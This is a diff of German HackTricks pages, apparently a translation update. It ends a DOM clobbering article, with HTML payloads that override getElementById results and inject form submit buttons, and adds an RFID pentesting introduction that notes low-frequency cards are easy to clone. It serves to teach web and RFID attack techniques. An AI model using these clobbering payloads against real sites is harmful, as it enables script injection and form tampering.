|
||||
>
|
||||
> \- Der Wert des name-Inhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)-, [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)-, [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)-, [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)- und [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)-Elemente, die ein nicht leeres name-Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||||
> \- Der Wert des Namensinhaltsattributs für alle [exponierten](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) und [exponierten](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||||
> \
|
||||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-Inhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)-Elemente, die ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [exponierten](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||||
> \
|
||||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-Inhaltsattributs für alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)-Elemente, die sowohl ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-Inhaltsattribut als auch ein nicht leeres name-Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden.
|
||||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) Elemente, die sowohl ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit dem Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden.
|
||||
|
||||
Mit dieser Technik können Sie häufig verwendete **Werte wie `document.cookie`, `document.body`, `document.children`** und sogar Methoden in der Document-Schnittstelle wie `document.querySelector` überschreiben.
|
||||
```javascript
|
||||
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## Schreiben nach dem überschriebenen Element
|
||||
## Schreiben nach dem Element, das überschrieben wurde
|
||||
|
||||
Die Ergebnisse von Aufrufen von **`document.getElementById()`** und **`document.querySelector()`** können durch das Einfügen eines `<html>`- oder `<body>`-Tags mit einem identischen id-Attribut verändert werden. So kann es gemacht werden:
|
||||
Die Ergebnisse von Aufrufen von **`document.getElementById()`** und **`document.querySelector()`** können verändert werden, indem ein `<html>`- oder `<body>`-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Darüber hinaus kann durch die Verwendung von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im `innerText` verhindert werden, wodurch die Effektivität des Angriffs erhöht wird:
|
||||
Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML/body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im `innerText` verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
@ -170,7 +173,7 @@ Untersuchungen zu SVG haben ergeben, dass ein `<body>`-Tag ebenfalls effektiv ge
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Um das HTML-Tag in SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein `<foreignobject>`-Tag erforderlich:
|
||||
Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein `<foreignobject>`-Tag erforderlich:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
@ -182,9 +185,9 @@ Um das HTML-Tag in SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## Clobbering von Formularen
|
||||
## Clobbering Forms
|
||||
|
||||
Es ist möglich, **neue Einträge in einem Formular hinzuzufügen**, indem man einfach das `form`-Attribut in einigen Tags angibt. Dies kann verwendet werden, um **neue Werte in einem Formular hinzuzufügen** und sogar einen neuen **Button** zum **Absenden** hinzuzufügen (Clickjacking oder Missbrauch von `.click()` JS-Code):
|
||||
Es ist möglich, **neue Einträge in ein Formular hinzuzufügen**, indem man einfach das **`form`-Attribut** innerhalb einiger Tags angibt. Man kann dies verwenden, um **neue Werte in ein Formular hinzuzufügen** und sogar einen neuen **Button** hinzuzufügen, um ihn **zu senden** (Clickjacking oder Missbrauch von etwas `.click()` JS-Code):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -198,7 +201,7 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Weitere Formattribute finden Sie [**hier**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
* Für weitere Formularattribute in [**Button überprüfen Sie dies**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -206,14 +209,17 @@ Click to send!
|
|||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript für Hacker: Lernen Sie, wie ein Hacker zu denken.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,95 +1,99 @@
|
|||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Einführung
|
||||
|
||||
**Radio Frequency Identification (RFID)** ist die beliebteste Kurzstrecken-Funklösung. Es wird normalerweise verwendet, um Informationen zu speichern und zu übertragen, die eine Entität identifizieren.
|
||||
**Radio Frequency Identification (RFID)** ist die beliebteste Kurzstrecken-Radio-Lösung. Es wird normalerweise verwendet, um Informationen zu speichern und zu übertragen, die eine Entität identifizieren.
|
||||
|
||||
Ein RFID-Tag kann sich auf **seine eigene Stromquelle (aktiv)**, wie z.B. eine eingebettete Batterie, verlassen oder seine Energie von der Lesenantenne erhalten, indem es den **durch die empfangenen Radiowellen induzierten Strom** (**passiv**) verwendet.
|
||||
Ein RFID-Tag kann auf **seine eigene Stromquelle (aktiv)**, wie eine eingebaute Batterie, angewiesen sein oder seine Energie von der Lesantenne über den aktuellen **induzieren aus den empfangenen Radiowellen** (**passiv**) beziehen.
|
||||
|
||||
### Klassen
|
||||
|
||||
EPCglobal teilt RFID-Tags in sechs Kategorien ein. Ein Tag in jeder Kategorie verfügt über alle in der vorherigen Kategorie aufgeführten Funktionen, was es abwärtskompatibel macht.
|
||||
EPCglobal unterteilt RFID-Tags in sechs Kategorien. Ein Tag in jeder Kategorie hat alle in der vorherigen Kategorie aufgeführten Fähigkeiten, was es rückwärtskompatibel macht.
|
||||
|
||||
* **Klasse 0**-Tags sind **passive** Tags, die in **UHF**-Bändern arbeiten. Der Hersteller **programmiert** sie im Produktionswerk vor. Dadurch können Sie die in ihrem Speicher gespeicherten Informationen **nicht ändern**.
|
||||
* **Klasse 1**-Tags können auch in **HF**-Bändern arbeiten. Darüber hinaus können sie nach der Produktion **nur einmal beschrieben** werden. Viele Klasse-1-Tags können auch **zyklische Redundanzprüfungen** (CRCs) der empfangenen Befehle verarbeiten. CRCs sind einige zusätzliche Bytes am Ende der Befehle zur Fehlererkennung.
|
||||
* **Klasse 0**-Tags sind **passive** Tags, die in **UHF**-Bändern arbeiten. Der Anbieter **programmiert** sie im Produktionswerk vor. Daher **kann** man die in ihrem Speicher gespeicherten Informationen **nicht ändern**.
|
||||
* **Klasse 1**-Tags können ebenfalls in **HF**-Bändern arbeiten. Darüber hinaus können sie **nur einmal** nach der Produktion **beschrieben** werden. Viele Klasse 1-Tags können auch **zyklische Redundanzprüfungen** (CRCs) der empfangenen Befehle verarbeiten. CRCs sind einige zusätzliche Bytes am Ende der Befehle zur Fehlererkennung.
|
||||
* **Klasse 2**-Tags können **mehrmals beschrieben** werden.
|
||||
* **Klasse 3**-Tags können **eingebettete Sensoren** enthalten, die Umgebungsparameter wie die aktuelle Temperatur oder die Bewegung des Tags erfassen können. Diese Tags sind **halbpassiv**, weil sie zwar über eine eingebettete Stromquelle wie eine integrierte **Batterie** verfügen, aber keine drahtlose **Kommunikation** mit anderen Tags oder Lesegeräten **initiieren** können.
|
||||
* **Klasse 3**-Tags können **eingebettete Sensoren** enthalten, die Umweltparameter wie die aktuelle Temperatur oder die Bewegung des Tags aufzeichnen können. Diese Tags sind **semi-passiv**, da sie zwar eine eingebaute Stromquelle, wie eine integrierte **Batterie**, **haben**, aber **keine** drahtlose **Kommunikation** mit anderen Tags oder Lesegeräten **initiieren können**.
|
||||
* **Klasse 4**-Tags können die Kommunikation mit anderen Tags derselben Klasse initiieren, was sie zu **aktiven Tags** macht.
|
||||
* **Klasse 5**-Tags können **Strom an andere Tags liefern und mit allen vorherigen Tag**-Klassen kommunizieren. Klasse-5-Tags können als **RFID-Lesegeräte** fungieren.
|
||||
* **Klasse 5**-Tags können **Strom an andere Tags liefern und mit allen vorherigen Tag**-Klassen kommunizieren. Klasse 5-Tags können als **RFID-Leser** fungieren.
|
||||
|
||||
### In RFID-Tags gespeicherte Informationen
|
||||
### Informationen, die in RFID-Tags gespeichert sind
|
||||
|
||||
Der Speicher eines RFID-Tags speichert in der Regel vier Arten von Daten: die **Identifikationsdaten**, die die **Entität** identifizieren, an die das Tag angebracht ist (diese Daten umfassen benutzerdefinierte Felder wie Bankkonten); die **zusätzlichen Daten**, die weitere **Details** zur Entität liefern; die **Steuerungsdaten**, die für die interne **Konfiguration** des Tags verwendet werden; und die **Herstellerdaten** des Tags, die eine eindeutige Kennung (**UID**) des Tags und Details zur **Produktion**, zum **Typ** und zum **Hersteller** des Tags enthalten. Die ersten beiden Arten von Daten finden Sie in allen kommerziellen Tags; die letzten beiden können je nach Hersteller des Tags unterschiedlich sein.
|
||||
Der Speicher eines RFID-Tags speichert normalerweise vier Arten von Daten: die **Identifikationsdaten**, die die **Entität** identifizieren, an die das Tag angehängt ist (diese Daten umfassen benutzerdefinierte Felder wie Bankkonten); die **zusätzlichen Daten**, die **weitere** **Details** zur Entität bereitstellen; die **Steuerdaten**, die für die interne **Konfiguration** des Tags verwendet werden; und die **Herstellerdaten** des Tags, die die eindeutige Kennung des Tags (**UID**) und Details zur **Produktion**, **Typ** und **Anbieter** des Tags enthalten. Die ersten beiden Arten von Daten finden Sie in allen kommerziellen Tags; die letzten beiden können je nach Anbieter des Tags variieren.
|
||||
|
||||
Der ISO-Standard spezifiziert den Wert des Application Family Identifier (**AFI**), einen Code, der angibt, zu welcher **Art von Objekt** das Tag gehört. Ein weiteres wichtiges Register, das ebenfalls von ISO spezifiziert wird, ist der Data Storage Format Identifier (**DSFID**), der die **logische Organisation der Benutzerdaten** definiert.
|
||||
Der ISO-Standard spezifiziert den Wert des Application Family Identifier (**AFI**), einen Code, der die **Art des Objekts** angibt, zu dem das Tag gehört. Ein weiteres wichtiges Register, das ebenfalls von ISO spezifiziert wird, ist der Data Storage Format Identifier (**DSFID**), der die **logische Organisation der Benutzerdaten** definiert.
|
||||
|
||||
Die meisten RFID-**Sicherheitskontrollen** verfügen über Mechanismen, die die **Lese-** oder **Schreiboperationen** auf jedem Benutzerspeicherblock und auf den speziellen Registern, die die AFI- und DSFID-Werte enthalten, **einschränken**. Diese **Sperrmechanismen** verwenden Daten, die im Steuerspeicher gespeichert sind, und haben **Standardpasswörter**, die vom Hersteller vorkonfiguriert sind, ermöglichen es den Tag-Besitzern jedoch, **benutzerdefinierte Passwörter** zu konfigurieren.
|
||||
Die meisten RFID-**Sicherheitskontrollen** haben Mechanismen, die die **Lese**- oder **Schreib**-Operationen auf jedem Benutzerspeicherblock und auf den speziellen Registern, die die AFI- und DSFID-Werte enthalten, **einschränken**. Diese **Sperr**-**mechanismen** verwenden Daten, die im Steuerungsspeicher gespeichert sind, und haben **vorkonfigurierte Standardpasswörter** des Anbieters, erlauben es jedoch den Tag-Besitzern, **benutzerdefinierte Passwörter zu konfigurieren**.
|
||||
|
||||
### Vergleich von Nieder- und Hochfrequenz-Tags
|
||||
### Vergleich von Low- und High-Frequency-Tags
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Niederfrequenz-RFID-Tags (125 kHz)
|
||||
## Low-Frequency RFID Tags (125kHz)
|
||||
|
||||
**Niederfrequenz-Tags** werden oft in Systemen verwendet, die **keine hohe Sicherheit erfordern**: Gebäudezugang, Gegensprechanlagen, Fitnessstudio-Mitgliedskarten usw. Aufgrund ihrer größeren Reichweite sind sie bequem für die Verwendung bei kostenpflichtigem Parken: Der Fahrer muss die Karte nicht nah an das Lesegerät bringen, da es aus größerer Entfernung ausgelöst wird. Gleichzeitig sind Niederfrequenz-Tags sehr primitiv, sie haben eine niedrige Datenübertragungsrate. Aus diesem Grund ist es unmöglich, komplexe bidirektionale Datenübertragung für Dinge wie das Führen von Kontoständen und Kryptographie zu implementieren. Niederfrequenz-Tags übertragen nur ihre kurze ID ohne jegliche Authentifizierungsmöglichkeiten.
|
||||
**Niedrigfrequente Tags** werden häufig in Systemen verwendet, die **keine hohe Sicherheit** erfordern: Gebäudezugang, Gegensprechanlagenschlüssel, Fitnessstudio-Mitgliedskarten usw. Aufgrund ihrer höheren Reichweite sind sie praktisch für kostenpflichtige Parkplätze: Der Fahrer muss die Karte nicht nah am Leser bringen, da sie aus größerer Entfernung ausgelöst wird. Gleichzeitig sind niedrigfrequente Tags sehr primitiv und haben eine niedrige Datenübertragungsrate. Aus diesem Grund ist es unmöglich, komplexe bidirektionale Datenübertragungen für Dinge wie Kontostände und Kryptografie zu implementieren. Niedrigfrequente Tags übertragen nur ihre kurze ID ohne Authentifizierung.
|
||||
|
||||
Diese Geräte basieren auf der **passiven** **RFID**-Technologie und arbeiten in einem **Frequenzbereich von 30 kHz bis 300 kHz**, obwohl es üblicher ist, 125 kHz bis 134 kHz zu verwenden:
|
||||
Diese Geräte basieren auf **passiver** **RFID**-Technologie und arbeiten in einem **Bereich von 30 kHz bis 300 kHz**, obwohl es üblicher ist, 125 kHz bis 134 kHz zu verwenden:
|
||||
|
||||
* **Große Reichweite** - eine niedrigere Frequenz bedeutet eine größere Reichweite. Es gibt einige EM-Marin- und HID-Lesegeräte, die aus einer Entfernung von bis zu einem Meter arbeiten. Diese werden oft bei Parkplätzen verwendet.
|
||||
* **Primitives Protokoll** - aufgrund der niedrigen Datenübertragungsrate können diese Tags nur ihre kurze ID übertragen. In den meisten Fällen werden die Daten nicht authentifiziert und in keiner Weise geschützt. Sobald die Karte im Bereich des Lesegeräts ist, beginnt sie einfach, ihre ID zu übertragen.
|
||||
* **Geringe Sicherheit** - Diese Karten können leicht kopiert oder sogar aus der Tasche einer anderen Person gelesen werden, aufgrund der Primitivität des Protokolls.
|
||||
* **Große Reichweite** — niedrigere Frequenz bedeutet höhere Reichweite. Es gibt einige EM-Marin- und HID-Leser, die aus einer Entfernung von bis zu einem Meter arbeiten. Diese werden häufig in Parkhäusern verwendet.
|
||||
* **Primitives Protokoll** — aufgrund der niedrigen Datenübertragungsrate können diese Tags nur ihre kurze ID übertragen. In den meisten Fällen sind die Daten nicht authentifiziert und nicht geschützt. Sobald die Karte im Bereich des Lesers ist, beginnt sie einfach, ihre ID zu übertragen.
|
||||
* **Niedrige Sicherheit** — Diese Karten können leicht kopiert oder sogar aus der Tasche eines anderen gelesen werden, aufgrund der Primitivität des Protokolls.
|
||||
|
||||
**Beliebte 125 kHz Protokolle:**
|
||||
**Beliebte 125 kHz-Protokolle:**
|
||||
|
||||
* **EM-Marin** - EM4100, EM4102. Das beliebteste Protokoll in der GUS. Kann aufgrund seiner Einfachheit und Stabilität aus etwa einem Meter Entfernung gelesen werden.
|
||||
* **HID Prox II** - niederfrequentes Protokoll, das von HID Global eingeführt wurde. Dieses Protokoll ist in westlichen Ländern beliebter. Es ist komplexer und die Karten und Lesegeräte für dieses Protokoll sind relativ teuer.
|
||||
* **Indala** - sehr altes niederfrequentes Protokoll, das von Motorola eingeführt wurde und später von HID übernommen wurde. Sie werden es im Vergleich zu den beiden vorherigen Protokollen weniger häufig antreffen, da es an Bedeutung verliert.
|
||||
* **EM-Marin** — EM4100, EM4102. Das beliebteste Protokoll in der GUS. Kann aufgrund seiner Einfachheit und Stabilität aus etwa einem Meter gelesen werden.
|
||||
* **HID Prox II** — Niedrigfrequenzprotokoll, das von HID Global eingeführt wurde. Dieses Protokoll ist in den westlichen Ländern beliebter. Es ist komplexer und die Karten und Leser für dieses Protokoll sind relativ teuer.
|
||||
* **Indala** — sehr altes Niedrigfrequenzprotokoll, das von Motorola eingeführt und später von HID übernommen wurde. Man trifft es seltener in freier Wildbahn im Vergleich zu den vorherigen beiden, da es aus der Nutzung fällt.
|
||||
|
||||
In Wirklichkeit gibt es noch viele weitere Niederfrequenz-Protokolle. Aber sie verwenden alle die gleiche Modulation auf der physikalischen Ebene und können in gewisser Weise als Variation der oben aufgeführten Protokolle betrachtet werden.
|
||||
In Wirklichkeit gibt es viele weitere Niedrigfrequenzprotokolle. Aber sie alle verwenden dieselbe Modulation auf der physikalischen Ebene und können in einer oder anderen Weise als Variation der oben aufgeführten betrachtet werden.
|
||||
|
||||
### Angriff
|
||||
|
||||
Sie können **diese Tags mit dem Flipper Zero** angreifen:
|
||||
Sie können **diese Tags mit dem Flipper Zero angreifen**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
{% endcontent-ref %}
|
||||
## Hochfrequente RFID-Tags (13,56 MHz)
|
||||
|
||||
**Hochfrequente Tags** werden für eine komplexere Reader-Tag-Interaktion verwendet, wenn Kryptografie, ein großer bidirektionaler Datentransfer, Authentifizierung usw. erforderlich sind.\
|
||||
Sie werden normalerweise in Bankkarten, öffentlichen Verkehrsmitteln und anderen sicheren Zugängen verwendet.
|
||||
## High-Frequency RFID Tags (13.56 MHz)
|
||||
|
||||
**Hochfrequente 13,56 MHz-Tags sind eine Reihe von Standards und Protokollen**. Sie werden normalerweise als [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) bezeichnet, aber das ist nicht immer korrekt. Der grundlegende Protokollsatz, der auf physischer und logischer Ebene verwendet wird, ist ISO 14443. Hochrangige Protokolle sowie alternative Standards (wie ISO 19092) basieren darauf. Viele Menschen bezeichnen diese Technologie als **Near Field Communication (NFC)**, ein Begriff für Geräte, die über die Frequenz von 13,56 MHz arbeiten.
|
||||
**Hochfrequente Tags** werden für eine komplexere Interaktion zwischen Leser und Tag verwendet, wenn Sie Kryptografie, eine große bidirektionale Datenübertragung, Authentifizierung usw. benötigen.\
|
||||
Sie sind normalerweise in Bankkarten, im öffentlichen Verkehr und in anderen sicheren Pässen zu finden.
|
||||
|
||||
**Hochfrequente 13.56 MHz-Tags sind eine Reihe von Standards und Protokollen**. Sie werden normalerweise als [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) bezeichnet, aber das ist nicht immer korrekt. Das grundlegende Protokollset, das auf physikalischer und logischer Ebene verwendet wird, ist ISO 14443. Hochlevelprotokolle sowie alternative Standards (wie ISO 19092) basieren darauf. Viele Menschen beziehen sich auf diese Technologie als **Near Field Communication (NFC)**, einen Begriff für Geräte, die über die Frequenz von 13.56 MHz arbeiten.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Einfach ausgedrückt funktioniert die Architektur von NFC wie folgt: Das Übertragungsprotokoll wird vom Unternehmen, das die Karten herstellt, ausgewählt und basierend auf dem Low-Level-ISO 14443 implementiert. Zum Beispiel hat NXP sein eigenes hochrangiges Übertragungsprotokoll namens Mifare erfunden. Aber auf niedrigerer Ebene basieren Mifare-Karten auf dem ISO 14443-A-Standard.
|
||||
Einfach gesagt funktioniert die Architektur von NFC so: Das Übertragungsprotokoll wird von dem Unternehmen gewählt, das die Karten herstellt, und basierend auf dem Low-Level-ISO 14443 implementiert. Zum Beispiel erfand NXP sein eigenes Hochlevel-Übertragungsprotokoll namens Mifare. Aber auf der unteren Ebene basieren Mifare-Karten auf dem ISO 14443-A-Standard.
|
||||
|
||||
Flipper kann sowohl mit dem Low-Level-ISO 14443-Protokoll als auch mit dem Mifare Ultralight-Datentransferprotokoll und EMV, das in Bankkarten verwendet wird, interagieren. Wir arbeiten daran, Unterstützung für Mifare Classic und NFC NDEF hinzuzufügen. Ein genauer Blick auf die Protokolle und Standards, die NFC ausmachen, ist einen separaten Artikel wert, den wir später veröffentlichen möchten.
|
||||
Flipper kann sowohl mit dem Low-Level-ISO 14443-Protokoll als auch mit dem Mifare Ultralight-Datenübertragungsprotokoll und EMV, das in Bankkarten verwendet wird, interagieren. Wir arbeiten daran, die Unterstützung für Mifare Classic und NFC NDEF hinzuzufügen. Ein gründlicher Blick auf die Protokolle und Standards, die NFC ausmachen, ist einen separaten Artikel wert, den wir später veröffentlichen möchten.
|
||||
|
||||
Alle hochfrequenten Karten, die auf dem ISO 14443-A-Standard basieren, haben eine eindeutige Chip-ID. Sie fungiert als Seriennummer der Karte, ähnlich wie die MAC-Adresse einer Netzwerkkarte. **Normalerweise ist die UID 4 oder 7 Bytes lang**, kann aber selten **bis zu 10 Bytes** betragen. UIDs sind kein Geheimnis und lassen sich leicht lesen, **manchmal sogar auf der Karte selbst gedruckt**.
|
||||
Alle hochfrequenten Karten, die auf dem ISO 14443-A-Standard basieren, haben eine eindeutige Chip-ID. Sie fungiert als die Seriennummer der Karte, ähnlich wie die MAC-Adresse einer Netzwerkkarte. **In der Regel ist die UID 4 oder 7 Bytes lang**, kann aber selten **bis zu 10** gehen. UIDs sind kein Geheimnis und leicht lesbar, **manchmal sogar auf der Karte selbst gedruckt**.
|
||||
|
||||
